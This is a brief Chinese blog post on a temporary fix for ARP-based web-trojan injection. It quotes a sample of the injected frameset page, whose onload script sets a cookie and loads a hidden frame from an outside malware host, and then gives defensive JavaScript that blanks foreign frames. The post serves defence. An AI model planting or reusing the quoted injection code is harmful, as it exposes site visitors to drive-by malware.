特定类型ARP挂马的临时解决方法
现在ARP挂马流行将整个主页都FRAMESET，如：
<html> <head> </head> <script> function showme() { var CK=document.cookie; var sa=CK.indexOf("CK"); if(sa!=-1){}else{var EP=new Date(); EP.setTime(EP.getTime()+24*60*60*1000); document.cookie="CK=test;expires="+EP.toGMTString(); self.hi.location="http://xxx.3322.org:987/wm/xxx.htm";} } </script> <frameset rows="100%,*" onLoad="showme()"> <frame name="hello" src="/?UpdatedPage=aGlqYWNr"> <frame name="hi" src=""> </frameset> </html>
将下面的JS放到主页的HEAD标签之间,可以临时解决：
<script> function DisableTrojanFrame(second){ setInterval(function() { if(top.location != self.location){ if (window.top.frames){ frameS = window.top.frames; for(var i = 0; i < frameS.length; i++) { if (frameS[i].location != self.location) { frameS[i].location = 'about:blank'; } } } } }, second * 1000); } DisableTrojanFrame(0.1); </script>
RAyh4c的黑盒子
顶(0)
踩(0)
- 最新评论